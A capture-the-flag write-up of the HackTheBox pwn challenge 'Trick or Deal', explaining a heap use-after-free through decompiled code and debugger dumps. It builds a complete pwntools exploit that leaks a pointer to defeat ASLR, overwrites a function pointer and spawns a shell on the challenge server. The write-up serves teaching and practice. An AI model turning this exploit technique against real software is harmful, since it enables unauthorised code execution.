Introduction

Trick or Deal is a Medium retired hackthebox pwn challenge. It has 97 solves and no writeup at the publication of this blog post.

This binary has a secret function unlock_storage(), and a Use-After-Free vulnerability.

To exploit this binary, I will use pwndbg and pwntools.
Ghidra was also used for the analysis. The snippets of C code were obtained using the Ghidra decompiler.

Analysis

The binary gives us a menu with 5 actions. Each action will call a function.

-_-_-_-_-_-_-_-_-_-_-_-_-
|                       |
|  [1] See the Weaponry |
|  [2] Buy Weapons      |
|  [3] Make an Offer    |
|  [4] Try to Steal     |
|  [5] Leave            |
|                       |
-_-_-_-_-_-_-_-_-_-_-_-_-

[*] What do you want to do?

Let’s investigate.

Not interesting

The 5th action simply quit the binary.

The 2nd action [2] Buy Weapons call the function buy() and has no interest for us.
It simply output back our input.

void buy(void)

{
  char buf [72];
  
  fwrite("\n[*] What do you want!!? ",1,25,stdout);
  read(0,buf,71);
  fprintf(stdout,"\n[!] No!, I can\'t give you %s\n",buf);
  fflush(stdout);
  fwrite("[!] Get out of here!\n",1,21,stdout);
  
  return;
}

The Heap

The actions 1, 3 and 4 are more interesting. But first, let’s take a look at the heap.

We run the binary in gdb (with the pwndbg extension).
Simply break with Ctrl + C and use the vis_heap_chunks command to explore the heap.

$ gdb -q ./trick_or_deal

pwndbg> r
Starting program: /home/hackthebox/challenge/pwn/Trick_or_Deal/trick_or_deal 
πŸ’΅  Welcome to the Intergalactic Weapon Black Market πŸ’΅

Loading the latest weaponry . . .

-_-_-_-_-_-_-_-_-_-_-_-_-
|                       |
|  [1] See the Weaponry |
|  [2] Buy Weapons      |
|  [3] Make an Offer    |
|  [4] Try to Steal     |
|  [5] Leave            |
|                       |
-_-_-_-_-_-_-_-_-_-_-_-_-

[*] What do you want to do? ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ee3002 in read () from ./glibc/libc.so.6

pwndbg> vis_heap_chunks 

0x555555603000  0x0000000000000000 0x0000000000000291 ................
0x555555603010  0x0000000000000000 0x0000000000000000 ................
[...]

0x555555603290  0x0000000000000000 0x0000000000000061 ........a.......
0x5555556032a0  0x67694c206568540a 0x0a72656261737468 .The Lightsaber.
0x5555556032b0  0x6e6f53206568540a 0x7765726353206369 .The Sonic Screw
0x5555556032c0  0x0a0a726576697264 0x0a73726573616850 driver..Phasers.
0x5555556032d0  0x696f4e206568540a 0x6b63697243207973 .The Noisy Crick
0x5555556032e0  0x00000000000a7465 0x0000555555400be6 et........@UUU..
0x5555556032f0  0x0000000000000000 0x0000000000020d11 ................  <-- Top chunk

At the address 0x555555603290, we have a chunk of size 0x60.

Mixed data and function pointers

The chunk is the variable storage which contain some data, and a pointer to printStorage(): 0x555555400be6.
We can see that 0x555555603290 is a pointer to printStorage() using the disassemble command.

pwndbg> disassemble 0x0000555555400be6
Dump of assembler code for function printStorage:
   0x0000555555400be6 <+0>:  push   rbp
   0x0000555555400be7 <+1>:  mov    rbp,rsp
   0x0000555555400bea <+4>:  mov    rax,QWORD PTR [rip+0x20144f]        # 0x555555602040 <storage>
   0x0000555555400bf1 <+11>: mov    rdx,rax
   0x0000555555400bf4 <+14>: mov    rax,QWORD PTR [rip+0x201425]        # 0x555555602020 <stdout@@GLIBC_2.2.5>
   0x0000555555400bfb <+21>: lea    r8,[rip+0x63f]        # 0x555555401241
   0x0000555555400c02 <+28>: mov    rcx,rdx
   0x0000555555400c05 <+31>: lea    rdx,[rip+0x67f]        # 0x55555540128b
   0x0000555555400c0c <+38>: lea    rsi,[rip+0x6ad]        # 0x5555554012c0
   0x0000555555400c13 <+45>: mov    rdi,rax
   0x0000555555400c16 <+48>: mov    eax,0x0
   0x0000555555400c1b <+53>: call   0x555555400920 <fprintf@plt>
   0x0000555555400c20 <+58>: nop
   0x0000555555400c21 <+59>: pop    rbp
   0x0000555555400c22 <+60>: ret    
End of assembler dump.

The content of storage is written by the function update_weapons(). update_weapons() is called by main at the start of the program:

void update_weapons(void)

{
  storage = (char *)malloc(0x50);
  strcpy(storage,"\nThe Lightsaber\n\nThe Sonic Screwdriver\n\nPhasers\n\nThe Noisy Cricket\n");
  *(code **)(storage + 0x48) = printStorage;
  return;
}

Having functions pointers mixed with data is interesting for us. If we can tamper with a function pointer, it might give us the ability to call other functions.

Useful functions

See the data

The 1st action [1] See the Weaponry will call the pointer at the end of the chunk to call printStorage().

void printStorage(void)

{
  fprintf(stdout,"\n%sWeapons in stock: \n %s %s","\x1b[1;32m",storage,"\x1b[1;35m");
  return;
}

printStorage() will output the content of the global variable storage.

$ ./trick_or_deal
πŸ’΅  Welcome to the Intergalactic Weapon Black Market πŸ’΅
[...]

[*] What do you want to do? 1

Weapons in stock: 
 
The Lightsaber

The Sonic Screwdriver

Phasers

The Noisy Cricket

Free()

The 4th action call the function steal() that free the variable storage.

void steal(void)

{
  fwrite("\n[*] Sneaks into the storage room wearing a face mask . . . \n",1,0x3d,stdout);
  sleep(2);
  fprintf(stdout,"%s[*] Guard: *Spots you*, Thief! Lockout the storage!\n","\x1b[1;31m");
  free(storage);
  sleep(2);
  fprintf(stdout,"%s[*] You, who didn\'t skip leg-day, escape!%s\n","\x1b[1;32m","\x1b[1;35m");
  return;
}

Let’s see this in action with gdb.

$ gdb ./trick_or_deal

pwndbg> run
πŸ’΅  Welcome to the Intergalactic Weapon Black Market πŸ’΅
[...]

[*] What do you want to do? 4

[*] Sneaks into the storage room wearing a face mask . . . 
[*] Guard: *Spots you*, Thief! Lockout the storage!
[*] You, who didn't skip leg-day, escape!

Program received signal SIGINT, Interrupt.
0x00007ffff7ee3002 in read () from ./glibc/libc.so.6

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555603000
Size: 0x291

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555603290
Size: 0x61
fd: 0x00

Top chunk | PREV_INUSE
Addr: 0x5555556032f0
Size: 0x20d11

pwndbg> vis_heap_chunks 

0x555555603000  0x0000000000000000 0x0000000000000291 ................
0x555555603010  0x0000000000000000 0x0000000000000001 ................
0x555555603020  0x0000000000000000 0x0000000000000000 ................
[...]
0x555555603290  0x0000000000000000 0x0000000000000061 ........a.......
0x5555556032a0  0x0000000000000000 0x0000555555603010 .........0`UUU..  <-- tcachebins[0x60][0/1]
0x5555556032b0  0x6e6f53206568540a 0x7765726353206369 .The Sonic Screw
0x5555556032c0  0x0a0a726576697264 0x0a73726573616850 driver..Phasers.
0x5555556032d0  0x696f4e206568540a 0x6b63697243207973 .The Noisy Crick
0x5555556032e0  0x00000000000a7465 0x0000555555400be6 et........@UUU..
0x5555556032f0  0x0000000000000000 0x0000000000020d11 ................  <-- Top chu

Malloc()

The 3rd action call the function make_offer() that malloc an arbitrary sized chunk. And let us write data in this new chunk.

void make_offer(void)

{
  char anwser [3];
  size_t size;
  
  size = 0;
  memset(anwser,0,3);
  fwrite("\n[*] Are you sure that you want to make an offer(y/n): ",1,55,stdout);
  read(0,anwser,2);

  if (anwser[0] == 'y') {
    fwrite("\n[*] How long do you want your offer to be? ",1,45,stdout);
    size = read_num();
    offer = malloc(size);

    fwrite("\n[*] What can you offer me? ",1,28,stdout);
    read(0,offer,size);

    fwrite("[!] That\'s not enough!\n",1,23,stdout);
  }

  else {
    fwrite("[!] Don\'t bother me again.\n",1,27,stdout);
  }

  return;
}

Again, let’s do this in gdb and observe the memory with vis_heap_chunks.

$ gdb -q ./trick_or_deal

pwndbg> r
Starting program: ./trick_or_deal 

πŸ’΅  Welcome to the Intergalactic Weapon Black Market πŸ’΅
[...]

[*] What do you want to do? 3

[*] Are you sure that you want to make an offer(y/n): y

[*] How long do you want your offer to be? 32

[*] What can you offer me? YYYYYYYYYYYYYYYY
[!] That's not enough!

^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ee3002 in read () from ./glibc/libc.so.6

pwndbg> vis_heap_chunks 2 0x555555603290

0x555555603290  0x0000000000000000 0x0000000000000061 ........a.......
0x5555556032a0  0x67694c206568540a 0x0a72656261737468 .The Lightsaber.
0x5555556032b0  0x6e6f53206568540a 0x7765726353206369 .The Sonic Screw
0x5555556032c0  0x0a0a726576697264 0x0a73726573616850 driver..Phasers.
0x5555556032d0  0x696f4e206568540a 0x6b63697243207973 .The Noisy Crick
0x5555556032e0  0x00000000000a7465 0x0000555555400be6 et........@UUU..
0x5555556032f0  0x0000000000000000 0x0000000000000031 ........1.......
0x555555603300  0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY
0x555555603310  0x000000000000000a 0x0000000000000000 ................
0x555555603320  0x0000000000000000 0x0000000000020ce1 ................  <-- Top chunk

Secret function

The binary has a secret function unlock_storage(). We can see below in Ghidra. You can also see it in rizin or radare2 using the afl command.

Functions in Ghidra

Calling this function gives us a shell.

void unlock_storage(void)

{
  fprintf(stdout,"\n%s[*] Bruteforcing Storage Access Code . . .%s\n","\x1b[5;32m","\x1b[25;0m");
  sleep(2);
  fprintf(stdout,"\n%s* Storage Door Opened *%s\n","\x1b[1;32m","\x1b[1;0m");
  system("sh");
  return;
}

Recap

The binary has a variable storage that holds some ASCII data and a pointer to printStorage(). The binary also has a secret function unlock_storage() that gives us a shell.

  • Action 1 will follow the pointer in storage to call printStorage(). This prints the data of storage.
  • Action 3 malloc() an arbitrary sized chunk, and write data into this new memory.
  • Action 4 free() the variable storage.

If you haven’t solved the binary yet. Stop here, and try to exploit the binary.

The Bug

We have a Use-After-Free bug, which means that the program does not check if the memory has been free when we call the functions. Here we have a possibility to realloc data of our own, and still use the action 1 that call the pointer present on the heap.

The exploit

Our strategy is to replace the pointer to printStorage() with a pointer to unlock_storage().

Since the binary is protected with ASLR, we first need to leak the printStorage() pointer. We can then calculate the address of unlock_storage() by adding the needed offset to our leaked pointer.

Fist let’s create an exploit skeleton use the pwn template command of pwntools.

$ pwn template trick_or_deal

And let’s add a few helper functions, to make or exploit development easier.

#!/usr/bin/env python3
# coding: utf-8

from pwn import *

# Create a new pane the Tilix terminal emulator when using the GDB option
# context.terminal = ['tilix','--action=session-add-right', '-e']

# Set up pwntools for the correct architecture
exe = context.binary = ELF('trick_or_deal')

# Many built-in settings can be controlled on the command line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes.
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled
# RUNPATH:  b'./glibc/'


# Helper functions

def free():
    io.recvuntil(b'[*] What do you want to do?')
    io.sendline(b'4')

def malloc(size, data):
    io.sendafter(b'[*] What do you want to do?', b'3\n')
    io.sendafter(b'[*] Are you sure that you want to make an offer(y/n): ', b'y\n')
    
    io.sendafter(b'[*] How long do you want your offer to be?', f"{size}".encode())
    io.sendafter(b'[*] What can you offer me? ', data)


io = start()



io.interactive()

Leak address

We free the initial buffer, and we malloc enough data to bridge the pointer we aim to leak. By leaving no space before the variable, it will be printed when we call printStorage().

io = start()

free()

# We don't overwrite the function pointer so that we can leak it.
payload = 0x48 * b'Y'
malloc(0x58, payload)

# Leak pointer
io.sendlineafter(b'[*] What do you want to do? ', b'1')

leak = u64(io.readline()[:6] + b'\x00\x00')
log.info(f"printStorage leak: {hex(leak)}")

io.interactive()

Note that the chunk is of size 0x60, so we malloc 0x58 as malloc add 8 bytes for chunk metadata.

Initially the heap looked like this :

pwndbg> vis_heap_chunks 2 0x555555603290 

0x555555603290  0x0000000000000000 0x0000000000000061 ........a.......
0x5555556032a0  0x67694c206568540a 0x0a72656261737468 .The Lightsaber.
0x5555556032b0  0x6e6f53206568540a 0x7765726353206369 .The Sonic Screw
0x5555556032c0  0x0a0a726576697264 0x0a73726573616850 driver..Phasers.
0x5555556032d0  0x696f4e206568540a 0x6b63697243207973 .The Noisy Crick
0x5555556032e0  0x00000000000a7465 0x0000555555400be6 et........@UUU..
0x5555556032f0  0x0000000000000000 0x0000000000020d11 ................    <-- Top chunk

We can run our script with debugging options $ ./xpl.py NOASLR DEBUG GDB.

pwndbg> vis_heap_chunks 2 0x555555603290 

0x555555603290  0x0000000000000000 0x0000000000000061 ........a.......
0x5555556032a0  0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY
0x5555556032b0  0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY
0x5555556032c0  0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY
0x5555556032d0  0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY
0x5555556032e0  0x5959595959595959 0x0000555555400be6 YYYYYYYY..@UUU..
0x5555556032f0  0x0000000000000000 0x0000000000020d11 ................ <-- Top chunk

We have filled the buffer with 'Y' and there is no '\x00' left that would indicate a end of file. The pointer will be considered as part of the string and will be printed when we call printStorage().

    b'[*] What do you want to do? '
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0x17a bytes:
    00000000  0a 1b 5b 31  3b 33 32 6d  57 65 61 70  6f 6e 73 20  β”‚Β·Β·[1β”‚;32mβ”‚Weapβ”‚ons β”‚
    00000010  69 6e 20 73  74 6f 63 6b  3a 20 0a 20  59 59 59 59  β”‚in sβ”‚tockβ”‚: Β· β”‚YYYYβ”‚
    00000020  59 59 59 59  59 59 59 59  59 59 59 59  59 59 59 59  β”‚YYYYβ”‚YYYYβ”‚YYYYβ”‚YYYYβ”‚
    *
    00000060  59 59 59 59  e6 0b 40 55  55 55 20 1b  5b 31 3b 33  β”‚YYYYβ”‚Β·Β·@Uβ”‚UU Β·β”‚[1;3β”‚
    *
[*] printStorage leak: 0x555555400be6
[*] Switching to interactive mode

Calculate the Offset

First, let’s use gdb to see the address of each function.

pwndbg> p printStorage 
$1 = {<text variable, no debug info>} 0x555555400be6 <printStorage>
pwndbg> p unlock_storage 
$2 = {<text variable, no debug info>} 0x555555400eff <unlock_storage>

Now, let’s calculate the offset between the two functions with python.

$ python3
Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0] on linux
>>> hex(0x555555400eff - 0x555555400be6)
'0x319'

Now we just have to add this value to the leaked pointer to calculate the address of unlock_storage(). Let’s add this to our exploit script.

leak = u64(io.readline()[:6] + b'\x00\x00')
log.info(f"printStorage leak: {hex(leak)}")

unlock_storage = leak + 0x319
log.info(f"unlock_storage: {hex(unlock_storage)}")

io.interactive()

Overwrite the function pointer

Now we can overwrite the pointer to printStorage() with a pointer to unlock_storage().

Let’s free() the buffer using our helper function, then fill it with 0x48 chars and overwrite the function pointer.

# overwrite printStorage with unlock_storage
free()

payload = b'V' * 0x48 + p64(unlock_storage)
malloc(0x50, payload)

Our heap look like this now.

pwndbg> vis 1 0x555555603290

0x555555603290  0x0000000000000000 0x0000000000000061 ........a.......
0x5555556032a0  0x5656565656565656 0x5656565656565656 VVVVVVVVVVVVVVVV
0x5555556032b0  0x5656565656565656 0x5656565656565656 VVVVVVVVVVVVVVVV
0x5555556032c0  0x5656565656565656 0x5656565656565656 VVVVVVVVVVVVVVVV
0x5555556032d0  0x5656565656565656 0x5656565656565656 VVVVVVVVVVVVVVVV
0x5555556032e0  0x5656565656565656 0x0000555555400eff VVVVVVVV..@UUU..
0x5555556032f0  0x0000000000000000 0x0000000000020d11 ................  <-- Top chun

Call unlock_storage()

All that’s left to do is to call the function pointer, with the first action.

[*] What do you want to do? $ 1

[*] Bruteforcing Storage Access Code . . .

* Storage Door Opened *
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)

Add this ultimate step, and we have a complete exploit.

io.sendlineafter(b'[*] What do you want to do? ', b'1')

io.interactive()

Remote option

It’s nice to have a REMOTE option to target the ctf server. I generally modify the start() function of the exploit script with this option.

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)

    elif args.REMOTE: # ('server:port')
        return remote(sys.argv[1].split(':')[0], sys.argv[1].split(':')[1])

    else:
        return process([exe.path] + argv, *a, **kw)

Final

Below the full exploit script.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template trick_or_deal
from pwn import *

context.terminal = ['tilix', '--action=session-add-right', '-e']

# Set up pwntools for the correct architecture
exe = context.binary = ELF('trick_or_deal')

# Many built-in settings can be controlled on the command line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)

    elif args.REMOTE: # ('server:port')
        return remote(sys.argv[1].split(':')[0], sys.argv[1].split(':')[1])

    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
set glibc 2.31
#tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled
# RUNPATH:  b'./glibc/'


# Helper functions

def free():
    io.recvuntil(b'[*] What do you want to do?')
    io.sendline(b'4')

def malloc(size, data):
    io.sendafter(b'[*] What do you want to do?', b'3\n')
    io.sendafter(b'[*] Are you sure that you want to make an offer(y/n): ', b'y\n')
    
    io.sendafter(b'[*] How long do you want your offer to be?', f"{size}".encode())
    io.sendafter(b'[*] What can you offer me? ', data)


# Exploit code

io = start()

free()

# We don't overwrite the function pointer so that we can leak it.
payload = 0x48 * b'Y'
malloc(0x58, payload)

# Leak pointer
io.sendlineafter(b'[*] What do you want to do? ', b'1')
io.recvuntil(b'Y' * 0x48)

leak = u64(io.readline()[:6] + b'\x00\x00')
log.info(f"printStorage leak: {hex(leak)}")

unlock_storage = leak + 0x319
log.info(f"unlock_storage: {hex(unlock_storage)}")

# overwrite printStorage with unlock_storage
free()

payload = b'V' * 0x48 + p64(unlock_storage)
malloc(0x50, payload)

io.sendlineafter(b'[*] What do you want to do? ', b'1')

io.sendline(b'id')
io.interactive()

Let’s attack the remote server.

$ ./xpl.py REMOTE 64.227.46.56:32650
[*] '/home/hackthebox/challenge/pwn/Trick_or_Deal/trick_or_deal'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./glibc/'
[+] Opening connection to 64.227.46.56 on port 32650: Done
[*] printStorage leak: 0x559901e00be6
[*] unlock_storage: 0x559901e00eff
[*] Switching to interactive mode

[*] Bruteforcing Storage Access Code . . .

* Storage Door Opened *
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ ls
flag.txt  glibc  ld-2.31.so  libc-2.31.so  trick_or_deal